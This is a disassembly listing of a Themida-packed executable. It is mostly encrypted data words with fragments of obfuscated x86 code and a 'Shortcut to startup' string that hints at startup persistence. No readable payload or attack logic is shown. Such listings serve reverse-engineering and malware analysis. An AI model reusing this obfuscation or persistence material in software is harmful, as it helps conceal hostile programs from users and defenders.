		dd 1F36D9BEh, 5CB11F04h, 8FAAC00Fh, 333C577Ah, 771AFF62h
		dd 0AC6146E1h, 0A2D4277h, 44F1D649h, 5DDE7911h,	1D02253Ah
		dd 0B3304F24h, 45687DE0h, 0ACDF0C2Fh, 0D78C71D4h, 0AA507156h
		dd 846D0433h, 9C4D8AC7h, 6D04345Bh, 797E1FD4h, 0BE6D0434h
		dd 0A4C38809h, 0FDBBB5Dh, 46B04Ch, 53970000h, 0F3562C3Dh
		dd 3F24590Eh, 44DDF1Eh,	61FE536Dh, 0FF58098h, 1ED4Ch, 53D40000h
		dd 8D3A1F02h, 4E589F50h, 2ADF6D04h, 54CF86A9h, 9588CC6Fh
		dd 9EED42B0h, 0DD401447h, 9FC243F8h, 33566BF6h,	0DCE5FA5Dh
		dd 0EF1C3F53h, 0A08598BCh, 0E2856AEBh, 85CBB0B3h, 0CCA42340h
		dd 5B315469h, 1A539309h, 0BA0D0A86h, 400E3AACh,	0B08BE012h
		dd 0ACE116CBh, 170A4C7Fh, 440EB196h, 0BE6FACD9h, 6D03E639h
		dd 0E3C849FEh, 0D9203F84h, 4C0F8B4Fh, 6A1Ch, 0D4ACDF00h
		dd 78C4A97Ah, 70A5B367h, 4C55D68Bh, 73243F53h, 6D044D84h
		dd 18C9F6ABh, 6D044DDFh, 896EA358h, 0CCB1ACE6h,	6D7A095Eh
		dd 0FA1D3215h, 3BDEC366h, 0C423081Bh, 0F19E07Fh, 5C4C0FF4h
		dd 51h,	243F5343h, 44D8473h, 0CAF6AB6Dh, 0BE64D6DDh, 2E1348B4h
		dd 7055C88Bh, 2C689BD8h, 16974C31h, 0DDB53251h,	535C657Ah
		dd 8D3A1F02h, 6033045Ah, 2E6318FDh, 72139449h, 6D044D88h
		dd 0EB3251A6h, 4C0FF52Dh, 83Eh,	86CE0100h, 8001B69Bh, 41164977h
		dd 104265E6h, 0E8ADE00Dh, 5ADB9075h, 0ABBCD275h, 0DC9176E9h
		dd 0C7BFF0B0h, 0F92ED12Eh, 6FC299CCh, 42039BEh,	1449FE6Dh
		dd 3E577A2Fh, 8893E23h,	36552A23h, 57849FB9h, 6CED7024h
		dd 0C40E8B57h, 2C0F6497h, 39CD7EABh, 0F46B0B19h, 0B4DF123Fh
		dd 0A04328A9h, 375A6FCAh, 210621h, 66F526FDh, 0C0A5B8DBh
		dd 0E5781Dh, 8F2E3D92h,	6C5A277h, 0F89DE70h, 3B67C299h
		dd 0A1D6EF2Eh, 3813698Ch, 7FDAB053h, 700F549Ah,	91421D73h
		dd 66F4F366h, 0D2E71CD1h, 9A33E5h, 1683846h, 0BFFB0000h
		dd 4DA2B6EBh, 0BCD8FBD2h, 8607BCA1h, 0E3EFAA7Dh, 581105B6h
		dd 0A75C6B0Bh, 120D477Ah, 12F7782Dh, 80772865h,	0B766F538h
		dd 85E8102h, 0AFEB182Dh, 0D344FE6Dh, 0D30B138h,	4CEFD477h
		dd 0EE712536h, 3A1F5409h, 8065C097h, 0BDA285DDh, 0B4335025h
		dd 83497EE1h, 0FE899D6h, 2866F4DCh, 82E89B7Ch, 0C3F8AD12h
		dd 886DC8A0h, 0FE8D52D3h, 93C09BF1h, 0C69E9F57h, 7F146A04h
		dd 1126A7DCh, 0AEF424h,	4B7946h, 0AA600000h, 81B4E1F1h
		dd 9BC849D4h, 0FBB0EDEAh, 86964212h, 560B0D0Dh,	4E6F5489h
		dd 0ED0476A9h, 15FA652Fh, 5B402372h, 22B3D015h,	7DA5C297h
		dd 0D687B41Eh, 92FBDA01h, 6EF89ACDh, 558EC887h,	1D9ED3B0h
		dd 0B28FA459h, 96h, 0E3EFAA19h,	2FC879B6h, 86D044Eh, 462B0E65h
		dd 0AEDB5C91h, 0B452DFDh, 0CEB3686Bh, 0BD98EE21h, 7FA223D8h
		dd 0E4214EE9h, 0F542C433h, 8AB66B66h, 0F90EFE7Fh, 0E1F677ABh
		dd 0A88DA8BEh, 0F54B6987h, 0E8774C66h, 75A285DBh, 0EB0E1142h
		dd 1ACFB497h, 0E1B88499h, 0EACF5203h, 96D30035h, 452A0D63h
		dd 4B10E798h, 722766F5h, 0C31BBC3Dh, 0FA650117h, 5C333C57h
		dd 628FC4F9h, 14F9642Fh, 56F9DE5Fh, 47402500h, 6C2D1572h
		dd 56883966h, 0B16AF4C5h, 0A8DD780Eh, 0EFAA8A93h, 0D905B6E3h
		dd 146B101Ah, 81D77A5Fh, 186E91A6h, 0FB1E394Fh,	0A88DC265h
		dd 574E8387h, 1F025337h, 88D38E3Ah, 3838125Ah, 32E37E15h
		dd 1688BBC5h, 9B80B56Ah, 80512E03h, 0A12E3D92h,	980679CBh
		dd 0A95C190Fh, 0D98E73EEh, 375A6FA4h, 7E210621h, 6D664BD6h
		dd 0C85BFD30h, 0E8AD2EE3h, 25364C9Bh, 8CB9EE71h, 0A5260159h
		dd 37276390h, 0F118FE70h, 9E81D3F6h, 608304B9h,	0ED4A2F0Ah
		dd 3, 53CED754h, 93361B3Eh, 0D2755AFDh,	16B99E81h, 5E01E641h
		dd 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h, 7417FC67h, 0F7593E21h
		dd 81E18951h, 4C1h, 4E98300h, 2474FF51h, 48F5904h, 31685C24h
		dd 8900005Eh, 8953240Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 243C895Ch, 14796856h, 348B7E01h, 4C48324h, 29EF681h
		dd 0EE811ACCh, 5EB8C0CBh, 685EF189h, 3BE8h, 83242489h
		dd 5F042404h, 4EC81h, 0C890000h, 8478F24h, 5F2434FFh, 4C481h
		dd 34FF0000h, 0C4815924h, 4, 0FB2381E9h, 91AB57FFh, 2B50985Bh
		dd 0D495FBFAh
; ---------------------------------------------------------------------------
		mov	eax, ebx
		push	edx


loc_5A0A13:				; CODE XREF: Themida_:loc_5A04E1j
		mov	eax, 6145ABAh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 603E2FA6h, 2AF5315Ah, 5777B2B5h, 78BB724Ah, 7C8BEE39h
		dd 5C8AEEAh, 14E32097h,	538DCC52h, 5D832FC0h, 50C8275Eh
		dd 0A1A0D9Eh, 7E6D98CBh, 0F2209Ah, 74ADB770h, 5DB240C9h
		dd 30227B8Fh, 7E958A0Ch, 552C3AE7h, 1FB759D7h, 3491702Eh
		dd 16009695h, 7C59D109h, 6A62C470h, 1AAC47CEh, 25D4B85Bh
		dd 22D1355Fh, 1BA4C533h, 5D3FFC0Eh, 0F5EED4Eh, 3657B9DAh
		dd 57297BFCh, 14E9h, 0AD8BD000h, 3Fh, 3	dup(0)
		dd 556E900h, 2A3F0000h,	0BED7FA0Fh, 296B8EA3h, 56FE2136h
		dd 0FF93B6CBh, 9426475Ch, 0B4C96C04h, 4A5FFA91h, 0DCF16C27h
		dd 7388A3B9h, 0B146F7A4h, 8666EFF2h, 6415528Fh,	66EFF293h
		dd 5D66E79Ch, 0E37E1649h, 0A5C849FEh, 23F6CCFh,	44DA651h
		dd 5BDC916Dh, 9CBFD376h, 9C1E5A87h, 741433A1h, 0A6B61E9Dh
		dd 0D772497Ah, 405D126h, 7CB1666Dh, 0A782D8FBh,	8DE215C2h
		dd 700629AAh, 84DF0D5h,	0CF16C27h, 24A7E960h, 237C98Dh
		dd 0B263A0CDh, 6D042B45h, 570835EAh, 6D042AA0h,	7C61E297h
		dd 6314510Eh, 6D042A94h, 8B9E69Bh, 6D042AEFh, 4D129348h
		dd 2E6AA73Eh, 0D3E8A351h, 47B05124h, 0F06D03C8h, 0C197BA3Bh
		dd 4E063966h, 0B839EED3h, 54D780A3h, 3C854A3h, 0F126DB6Dh
		dd 839EB9DCh, 0C164FB9Eh, 710EE3DCh, 113E2172h,	3B4B7DEh
		dd 6D03C7F4h, 6C51863Bh, 0F42136B7h, 6390ABC1h,	3C845B2h
		dd 0B435EA6Dh, 7B60FB91h, 3C7A05Ah, 21D386Dh, 53E47A1Dh
		dd 5EA1F02h, 452A0D62h,	0E685CA90h, 0D6B50AD7h,	0F6FC94Fh
		dd 95E914Ch, 270C1740h,	0A3583D72h, 690622h, 53ED0000h
		dd 0B0ED1A3Dh, 44DF8FFh, 0CF40D76Dh, 7A04BAE9h,	23D401B6h
		dd 6D03F3D4h, 4025A65Bh, 3F3DE1Fh, 60FF546Dh, 0F9B7F99h
		dd 1EC4Ch, 49D30000h, 1E64116h,	0F16C294Ch, 15084D70h
		dd 55C88D30h, 9689CD70h, 91EE43B1h, 0F3200352h,	0BB982B7h
		dd 1FA0BF18h, 0BE91E70Ah, 421EA0Dh, 5B90456Dh, 0C467FB2Eh
		dd 49252E43h, 0FEE37E16h, 0CDA5C849h, 0B3E2856Ah, 4085CBB0h
		dd 2D679A23h, 17984D32h, 0A4B99CF4h, 6B50EB81h,	0AE938EC8h
		dd 0A47D0A4Fh, 4C0FF384h, 85E9h, 3F53D000h, 4D8A371Ch
		dd 44E5B9Ch, 7627D46Dh,	6D044E81h, 4BCC01B6h, 0EF36E28h
		dd 0E7B0E3A0h, 2936FB7Ch, 4E63C69Ah, 0C7F4572Bh, 4E1ED98Ah
		dd 6D196D04h, 0F78F8A7Eh, 0BF407521h, 41F37DAh,	70F3A4D7h
		dd 0F8A9D68Bh, 6D0396FFh, 1D028338h, 0D3EA79BEh, 5A005A96h
		dd 75F1F70Fh, 38723D4h,	23600C6Dh, 0BE762A6Bh, 917EFF34h
		dd 4C0FC797h, 3BF4h, 3F53DB00h,	0C394371Ch, 0EE37B60h
		dd 3B1E7271h, 2531D26h,	518D3A1Fh, 14CF3246h, 0F293149Ch
		dd 6D035D08h, 1E366926h, 0AADF4215h, 0CA8F10C5h, 4B464BDh
		dd 1B94C0Fh, 0A0000000h, 391E0153h, 548D508Ch, 46967FA8h
		dd 33886401h, 0FB7CB18Eh, 0C2A782D8h, 9E4F8CC9h, 6D03E159h
		dd 8C50EB7Fh, 0F29156D7h, 0ABC0A3F5h, 0EB18BADFh, 0AD9CC3Ah
		dd 0A1CE836Bh, 5439246Eh, 96391E9Fh, 2D5065C0h,	0EE0FF457h
		dd 66F4EA0Fh, 676403D8h, 0FE213611h, 45E8CD68h,	0E1270C2Fh
		dd 0C3F6CF9Ch, 0E90C8D90h, 4E8BB893h, 0F4EA5A9Dh, 26A26D66h
		dd 0BCE17C6Bh, 4F1F4CF8h, 0D771592Eh, 1F0C21A2h, 46007CF9h
		dd 14D72h, 0EFAA5900h, 4679B6E3h, 7C311631h, 57BC5AFBh
		dd 0BE736B0Bh, 62F92CD9h, 0AF49A8D0h, 0F82D0F5Fh, 1B3E5477h
		dd 0AA8DE306h, 12354A7Dh, 12F7782Dh, 593E196Fh,	32B1CE13h
		dd 8FCCF95Ch, 0F4AA19DEh, 0C0711E66h, 66F4AA37h, 95164B00h
		dd 51859380h, 64E64600h, 0CD000000h, 0B4E1F1AAh, 30DBE578h
		dd 23387E68h, 2552D308h, 0FB7C6374h, 5B306312h,	0E5661B00h
		dd 66876C21h, 0ED048291h, 51273047h, 39DCC1F6h,	721F041Fh
		dd 48336C1h, 0C14C01EDh, 0B33E9FECh, 0FC3881DEh, 0E811D2FEh
		dd 2FFB7C55h, 8839666Ch, 92FBD64Fh, 1DEF3A8h, 9Eh, 0A1560744h
		dd 966D0429h, 0AA5760E1h, 5B6E3EFh, 6B0B4525h, 369FCB07h
		dd 5A86A1B7h, 0E768A0E2h, 49D48023h, 957AAF64h,	10C19CF2h
		dd 66F53FE7h, 51669B50h, 18FD582Eh, 0F53FF9F7h,	7807DC66h
		dd 1D32156Bh, 9C934851h, 8AAA3599h, 0DB18457Ah,	2E0AED9Eh
		dd 702566F5h, 0F47E4EEFh, 8BD6500h, 0E62A9FDBh,	1B38EDE3h
		dd 0CC08B59Ah, 8F43363Ch, 58F3871Ch, 0FA8AF723h, 32D6B293h
		dd 5DF88EB1h, 0DDAA7F78h, 719E3465h, 0F42A0CC0h, 69964B6Ah
		dd 9E7C7B2Ch, 0FEB366F4h, 24A5B8DBh, 0EFAA060Fh, 0C705B6E3h
		dd 0E6B1014h, 0BBD17459h, 12688BA0h, 7315237h, 4F4EA949h
		dd 983B203Bh, 48E377C0h, 9479AE63h, 23B2D126h, 8A3B7835h
		dd 2D569D6Dh, 0C78C0DC2h, 0F2552BB8h, 0E77DB0DDh, 0CAA0C344h
		dd 0AFE78A6Fh, 1D6CFB4h, 2C0F6562h, 0BB9EF417h,	379D6h
		dd 0D7E00000h, 1B3E53CEh, 5AFD9336h, 9E81D275h,	0E64116B9h
		dd 2F0A5E01h, 78D3A74Ah, 0B9A4F093h, 0FC6731D4h, 3E217417h
		dd 0EC83F759h, 242C8904h, 0C581E589h, 4, 8704ED83h, 685C242Ch
		dd 52E2h, 52241C89h, 0C281E289h, 4, 8704EA83h, 895C2414h
		dd 68552434h, 13E65DC9h, 83242C8Bh, 814504C4h, 0D201DEEDh
		dd 5DEB890Dh, 8904EC83h, 4812424h, 424h, 0EC835E00h, 241C8904h
		dd 0FF08468Fh, 835E2434h, 34FF04C4h, 0C4835B24h, 1D88E904h
		dd 0AEABFFFBh, 4B076150h, 0FCE0D4CCh, 0DCCA9805h, 1460C4B8h
		dd 0FFC50306h, 0DEEACBE0h, 0C0D66C7Ah, 7003FE13h, 0FD1F6C28h
		dd 0FE3EC358h, 43DF7D42h, 5B3236Dh, 0DB20E207h,	8EC35C63h
		dd 0E3C40932h, 0C5BD0901h, 708BC08h, 0C9D83522h, 0ECF24A4Ah
		dd 0B06EB919h, 0D5F9B67h, 2F634977h, 9D3A76Ah, 73EB2554h
		dd 5E818h, 98B50000h, 0F578F9Ah, 587h, 35B5BB00h, 0F95F659Ah
		dd 718EC781h, 0CA8B0000h, 1C3E68h, 93BA6600h, 0ED805E35h
		dd 0B3078BDFh, 1CF0816Ch, 0F047B51h, 681h, 11EB8100h, 817BACD0h
		dd 0F161BE8h, 0FEC28126h, 814E0AD2h, 73F65CE8h,	99CA8044h
		dd 0E9078F50h, 0Ah, 0B2EEC460h,	0F404BEBh, 0EF838CECh
		dd 5870F02h, 66000000h,	14ADA81h, 7E84F4Fh, 0F3000000h
		dd 9101192Eh, 0E680EAD1h, 0EE835967h, 9A850F01h, 0FFFFFFFh
		dd 783h, 18D0F00h, 0F8000000h, 52375820h, 13731C8h, 0C26C1210h
		dd 256BBB53h, 2573B300h, 1372A06h, 0C2647101h, 3ED7FF29h
		dd 148233BAh, 67313D0Bh, 0B404EA9Ch, 7381DA9h, 853836ACh
		dd 1373088h, 0EC6AF88h,	0BCB4348Fh, 7382495h, 43B33D20h
		dd 6B373210h, 2DF6708h,	21373204h, 886AF15Fh, 8033166Dh
		dd 143316C4h, 44373240h, 0E68DF175h, 13738F8h, 0F8EFC008h
		dd 2CEEFB96h, 5EA8CED0h, 42DEE48Ah, 0E9373282h,	1373248h
		dd 5392E2A9h, 0DA8247E6h, 53676253h, 13723ECh, 0FE3B002h
		dd 0AEB240E8h, 4D3A9D1Ch, 7831C4h, 0F8BC43CFh, 51063D4Eh
		dd 13CDA5Ah, 7B403204h,	9D3842B2h, 0AE6B3A0Eh, 30386DCDh
		dd 85A164FAh, 5B6F6833h, 2533BB48h, 0E9643262h,	1373207h
		dd 5AF46922h, 5136E88h,	5137601h, 1373258h, 0B8F46163h
		dd 6D6289F9h, 324EBF09h, 38340Bh, 6BC9164Eh, 2DF6001h
		dd 21373280h, 886DF11Ah, 80331674h, 1B331654h, 43373208h
		dd 0C8EFF156h, 4E76C625h, 0F3B7527Eh, 0ACB2BBB1h, 60313D6Fh
		dd 52375878h, 13731F8h,	0C26C1208h, 256BBB5Fh, 2573B306h
		dd 1372A05h, 0C2647180h, 0A790860Eh, 8E386577h,	137321Ah
		dd 13737E1h, 0F8AF2804h, 8268E2D0h, 15D1EC1h, 134DAD2h
		dd 5B173240h, 55BE68E3h, 45B63634h, 12A362Ch, 53753204h
		dd 6C2237C1h, 0F841EE6Eh, 8ACA0990h, 57375848h,	13731C8h
		dd 0C2691210h, 2543BB56h, 2573B300h, 1372706h, 0C2617401h
		dd 8A51209Eh, 15DCE08h,	134DA75h, 5C173210h, 6DBE6FCBh
		dd 45B63620h, 12C3626h,	54723201h, 1F500643h, 0F86A571Ch
		dd 38B6548Dh, 8538CD26h, 13732BCh, 157AA78Fh, 0C0B4340Dh
		dd 50375808h, 1373168h,	0C26E1240h, 257BBB79h, 2573B314h
		dd 137240Ch, 0C2667304h, 8A6970BDh, 0E80EB2D9h,	1F7B78Fh
		dd 80513240h, 88B149E6h, 0E101F9Dh, 76B90Eh, 33328F8Fh
		dd 0C934340Dh, 0E964326Bh, 1373283h, 5AF46960h,	5136EA9h
		dd 5137691h, 137321Dh, 14F46147h, 0A48A3B67h, 82313D32h
		dd 15D3741h, 134DA13h, 5A173220h, 5DBE69D3h, 45B6362Ch
		dd 1233620h, 52743202h,	10DEBCC2h, 0EB373280h, 159CDEFCh
		dd 14F4B6ACh, 6931B22Bh, 0B55A2AA8h, 38B6CA8Eh,	8A747992h
		dd 173B70Eh, 941E3280h,	7382279h, 4D90BFADh, 9C1E341Fh
		dd 7382C29h, 13731BCh, 6BD6CD02h, 2DF6201h, 21373280h
		dd 886FF118h, 80331664h, 1C331654h, 41373208h, 0FEC4F154h
		dd 3733695Fh, 2A9763A8h, 262E8709h, 6B56344Fh, 2DF6320h
		dd 21373210h, 886EF151h, 80331648h, 18331646h, 40373201h
		dd 0BA4BF1D1h, 0FBF993BEh, 80EFB946h, 440AF0CAh, 378ABF65h
		dd 8C312666h, 15520D8Fh, 82438A07h, 84043312h, 7381F09h
		dd 0E8F6FD0Bh, 52375820h, 13731C8h, 0C26C1210h,	256BBB53h
		dd 2573B300h, 1372A06h,	5E98301h, 0C08BA4F3h, 8E957h, 97EE0000h
		dd 0CBCEE0F6h, 6A5F226Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0AD3FC352h,	891519DAh
		dd 8BF08B66h, 338D8DC3h, 0F9061466h, 2C658D89h,	6A060Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 6B9560C3h, 727575B6h, 8E0F33B9h, 5, 0D6DB8166h, 0C185C70Ch
		dd 0EC060F07h, 29000068h, 0F30C985h, 9185C706h,	60F24h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0DA40C355h, 0E35BB2FEh, 898B4AAFh
		dd 0F247D8Dh, 9B5FF06h,	0F060F0Bh, 385h, 0D0B70F00h, 2A0595FFh
		dd 0BE66060Fh, 6A4924h,	345195FFh, 0C08B060Fh, 221B5AEBh
		dd 55A9126Eh, 1CF8DAC2h, 4B007F57h, 21B10507h, 0DAF46A2Dh
		dd 6DAAF4FAh, 80A3AD7Eh, 0A06DECDEh, 0D4781477h, 4E0D516Ch
		dd 8F52941Fh, 0B1803C9Fh, 0BCEC1FD6h, 6B3FD78Eh, 5122E450h
		dd 25ADE0EBh, 0DAACCEFBh, 0EA4C2B42h, 3D580F6Ch, 0D4C8CD01h
		dd 5255B9FCh, 6FF7AA06h, 14E8h,	0EE85CB00h, 1F2FB561h
		dd 9B82ED4Fh, 0BEDC77F8h, 7B9358E5h, 218D31BEh,	5F060F1Eh
		dd 41BE6652h, 0C7815B66h, 593Dh, 880F5260h, 0
; ---------------------------------------------------------------------------
		pop	esi
		mov	esi, [ebp+60F0F7Dh]
		popa
		mov	eax, 161Ah
		push	edx
		mov	esi, 6AA052BBh
		pop	esi


loc_5A15A4:				; CODE XREF: Themida_:005A1622j
		mov	ecx, [edi]
		movsx	edx, cx
		add	ecx, 29A6654Ch
		jmp	loc_5A15BE
; ---------------------------------------------------------------------------
		xchg	eax, edi
		not	edx
		db	2Eh
		push	77h
		pop	esi
		mov	edi, ebp
		dec	ebp


loc_5A15BE:				; CODE XREF: Themida_:005A15AFj
		sub	ecx, 72FE8419h
		sub	ecx, 902E307h
		xor	dh, 0D9h
		mov	[edi], ecx
		call	near ptr loc_5A15E6+1
		mov	ds:0CAC8B30Bh, eax
		insb
		out	dx, eax
		repne or bh, [eax+7Ah]
		pop	ebx
		sub	esp, [edi+39391B67h]


loc_5A15E6:				; CODE XREF: Themida_:005A15CFp
		mov	edi, 0AE9h
		add	[edx-14h], ch
		pop	ecx
		clc
		xchg	eax, ebp
		mov	bl, 12h
		cld
		pop	edi
		sub	bl, [esi-7Dh]
		out	dx, eax
		add	[esi+4F4F4FB0h], esi
		adc	bl, 4
		sub	eax, 1
		jnz	loc_5A161E
		mov	dl, 9
		jmp	loc_5A163A
; ---------------------------------------------------------------------------
		and	eax, 0F673C01Dh
		xchg	eax, esp
		sti
		mov	edi, 5BBC477Dh


loc_5A161E:				; CODE XREF: Themida_:005A1605j
		mov	bx, 10ACh
		jmp	loc_5A15A4
; ---------------------------------------------------------------------------
		db 0EAh
		dd 8486D6B6h, 0F397C1ADh, 63FDF98Dh, 36BFEE7Bh
		db 2, 88h
; ---------------------------------------------------------------------------


loc_5A163A:				; CODE XREF: Themida_:005A160Dj
		lea	ebx, [ebp+60F2BD1h]
		mov	eax, 39h
		mov	[ebp+60F31C1h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5A1696
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E6h
		dd 0Dh dup(0E6000077h)
; ---------------------------------------------------------------------------
		ja	short near ptr loc_5A1694+1 ; CODE XREF: Themida_:loc_5A1694j


loc_5A1696:				; CODE XREF: Themida_:005A1658j
		jmp	loc_5A1738
; ---------------------------------------------------------------------------
aO2wshortcutToS	db 'O',9,'2WShortcut to startup',0
		align 4
		dd 21h dup(0)
; ---------------------------------------------------------------------------


loc_5A1738:				; CODE XREF: Themida_:loc_5A1696j
		jmp	loc_5A2656
; ---------------------------------------------------------------------------
		push	61469F2h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	6146AE1h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	6146C97h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	6146CDFh
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	6146DBFh
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	6146E46h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	6147267h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	6147502h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	614761Fh
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		db 73h
		dd 886811F0h, 0A0802908h, 0BD9D461Bh, 0CFAF583Bh, 0D4CB744Bh
		dd 10EF7377h, 2A098767h, 3F22A181h, 5835B696h, 0BF771BAFh
		dd 1DD962ADh, 0A629C86Dh, 45154825h, 8B3CE5C4h,	0B282A6C1h
		dd 0D0F45431h, 0C2129318h, 26A5751Dh, 0D1311043h, 0D31C158Bh
		dd 95698D13h, 554B0336h, 0FE1DC2A2h, 9B7AFACAh,	0D7298968h
		dd 30952AA0h, 4F3C302Ah, 1D000000h, 0CCF077D5h,	1ED67EFCh
		dd 1BCD0A0Ch, 0DB0E6DCCh, 0D4789CFCh, 72A58404h, 48FB3393h
		dd 521DC22Ch, 732BCFF3h, 1DC22D79h, 2F62C221h, 5736BB8Bh
		dd 69214524h, 1DC22D77h, 2058B817h, 1DC22D0Ah, 0C43A71D3h
		dd 3029AB2Fh, 0B1D6h, 25A6B700h, 0C1451548h, 3B0BAFE2h
		dd 2D7DDDBCh, 0CA9ACDACh, 0FBC36C49h, 1BCD0E2Ah, 630CE96Ah
		dd 0FF230283h, 0F89A35Bh, 0F2511BCDh, 8EBE5F92h, 263095C2h
		dd 0C22169E9h, 19D5E69Eh, 65B51DC2h, 0FCA504E7h, 4266014Bh
		dd 0D3B12C8Ah, 698DEC1Bh, 953E1599h, 0DD6131B5h, 95F4D306h
		dd 1620570h, 0EAC70AB7h, 0D01h,	933C1598h, 0AB5433B3h
		dd 0BE6746CBh, 0DC855CDEh, 0F09978FCh, 129652F9h, 34B2923Bh
		dd 4DCCAC55h, 62E3C36Ch, 0A246DA83h, 0D963F0EAh, 54F3981Dh
		dd 274B22A6h, 0C6F9D857h, 0FEDE87E7h, 43F7A07Dh, 0E316F573h
		dd 522FB404h, 77D5D3F2h, 8428CCF0h, 0CD0AD2CCh,	0BB1B7A1Bh
		dd 0C22CC083h, 487BDA1Dh, 0C22D9A90h, 0AAE1431Dh, 29AB9F34h
		dd 0B64630h, 0A6270000h, 45154825h, 0F7AFE2C1h,	1BCD0E2Eh
		dd 0E408E566h, 28294A40h, 8E7B46D2h, 0CD334456h, 45A5041Bh
		dd 5E3BBC9Ch, 0A5C28A2Bh, 33F6C981h, 39981DC2h,	96DDF90h
		dd 5C37B989h, 0C27A9EFDh, 1BD39F0Bh, 0C090B413h, 11F0743Ch
		dd 3FBE8EB2h, 0B312F171h, 9841A180h, 23A1EEE4h,	55F2ECA4h
		dd 3B9A17EDh, 0D961E6C5h, 0A8AD670Ah, 1F7FDEEAh, 4F744BCFh
		dd 0B7018E2Ch, 12D3B0F3h, 8700000Ch, 0A4842D04h, 0BC9C4524h
		dd 0D1B15A37h, 0EBCB744Fh, 0E8DF8867h, 2C038763h, 4625A383h
		dd 5B3EBD9Dh, 7451D2B2h, 0DB9337CBh, 1DD960C1h,	0A645E489h
		dd 0C2A24B22h, 0CBB6441h, 154825A6h, 3CE5C445h,	322CE488h
		dd 0DA1BCD0Ah, 0F3A1DA64h, 5DBC2A3Ah, 670DCFDh,	9675A885h
		dd 0C3431337h, 0BC6084E4h, 598C6DECh, 0C9280B89h, 0E619F879h
		dd 146FA707h, 861DC2D1h, 590D0327h, 0BE7646DFh,	33EB1E7Eh
		dd 1DDD513Dh, 0D74D84E6h, 302ADF42h, 15E7h, 74F3C300h
		dd 99163595h, 86Bh, 0F1CD6F65h,	90B188FEh, 77D51130h, 5828CCF0h
		dd 0EBCAFDD4h, 16C538Bh, 0DE2E1DC2h, 6F4E8160h,	5F9858F9h
		dd 0E948588Eh, 8865E6B6h, 33169464h, 0A6762AD3h, 36154825h
		dd 280586D6h, 0F10D3DF5h, 5C3E7A86h, 0A5840525h, 0BE9B1CFCh
		dd 0F1DCD38Bh, 0F274769Eh, 870CDC0Fh, 489877AAh, 0C1B7EAC7h
		dd 0D62EBB59h, 0A97B1E38h, 0BA9C4372h, 0FE998F83h, 0CCA327B5h
		dd 55B6BD56h, 4524A5F5h, 5E3BBC9Ch, 9380732Bh, 6B3D8961h
		dd 0B6931434h, 2436EE92h, 0E4769E6Ch, 9C7C2585h, 6A0B3E1Bh
		dd 916185E2h, 1FFE3110h, 1F79BBFh, 0A8C5AAB2h, 96CE2E6Ch
		dd 70912F69h, 0EF21CA29h, 22450769h, 14AD46FEh,	3F0F6EA0h
		dd 0D0AFE2C1h, 0BBCB2A70h, 0ACB51E03h, 0E087C5BCh, 54D304BCh
		dd 8CEB4A40h, 0D394B859h, 955DDFAFh, 21003316h,	863E62C2h
		dd 404E2777h, 0C494B817h, 72426643h, 0A04FF9EDh, 0D3408B30h
		dd 2624174h, 51D5A559h,	41C21272h, 0E6023F64h, 0AAEDD882h
		dd 0A5CCDh, 0D7BA3D00h,	0EFCE4E2Eh, 0CE16646h, 22018363h
		dd 3E159979h, 41AD9E95h, 5D3DE6BDh, 7353FCDFh, 8C6C15F4h
		dd 0F1852E0Bh, 669B954Dh, 9E431DD9h, 40DCD2FFh,	0E15C7DB7h
		dd 49CA1A7Ah, 0BB10476Ch, 0BCFFBB21h, 0A14DFh, 1F028500h
		dd 37169676h, 5429AE8Eh, 6A49CBABh, 865DE1C1h, 8965E6DDh
		dd 0A5852E05h, 0BB9B4427h, 0D4B45D3Ch, 39CD7653h, 66C3DD95h
		dd 0E68B1DD9h, 3125A647h, 5991DD5Eh, 0F6E8A05Ah, 961BCDF8h
		dd 488D837h, 0F79BCE2Dh, 97CAA927h, 0C2DC94B8h,	8A1BCDF8h
		dd 0F77BCB2Bh, 0EBBB6F18h, 882A8A69h, 0BBACA0D0h, 7BCAA197h
		dd 8C808AFDh, 0A750082Ch, 0F71DC2EFh, 732FDDD3h, 35E02990h
		dd 0C22AE3FDh, 0ED4CAB1Dh, 73CA25DDh, 0E6B6DC7Fh, 0BB398968h
		dd 66C6A5D8h, 0F16F0745h, 63C2A121h, 0CEF25130h, 6EA180FEh
		dd 0C5D2B78h, 0BB1AD91Ah, 547F375Bh, 66DA0EE2h,	6030D407h
		dd 0F1D003DEh, 13461DA1h, 99B3D434h, 1BF2AACEh,	83D0036Ch
		dd 0AF300024h, 0C84929D2h, 2199C4E9h, 438668CFh, 93466h
		dd 0FFE26500h, 17F67656h, 34098E6Eh, 4A29AB8Bh,	663DC1A1h
		dd 6985C6BDh, 85650EE5h, 9B7B2407h, 0B4943D1Ch,	19AD5633h
		dd 67A3BD75h, 0C66B1DD9h, 4825A627h, 0E3C64515h, 0A18723Ah
		dd 0A7A51BCDh, 1BE49CC0h, 631DD96Dh, 8E10E004h,	41A180B3h
		dd 0EDCC4D1Dh, 736D25C9h, 1B1DD962h, 9E86CBCh, 9F2000A9h
		dd 4ECE9EC2h, 395D3C6Fh, 0D9626F81h, 70D02F1Dh,	0AE96D3Dh
		dd 0A98807D7h, 35C92384h, 300D50BDh, 8ADh, 0DF8869ECh
		dd 0F7A07FFFh, 12BB9217h, 28D1B032h, 44EDC448h,	66EAFE4Dh
		dd 80FEDE87h, 9918F8A1h, 0AE2F0FB8h, 0EE9226CFh, 0D9642436h
		dd 0A03FE41Dh, 0DB7D02D2h, 0CD0A0923h, 1372D11Bh, 51A101E0h
		dd 0EEBEF1D0h, 461D9F6Dh, 94E1D13h, 38D1AE71h, 20477AD9h
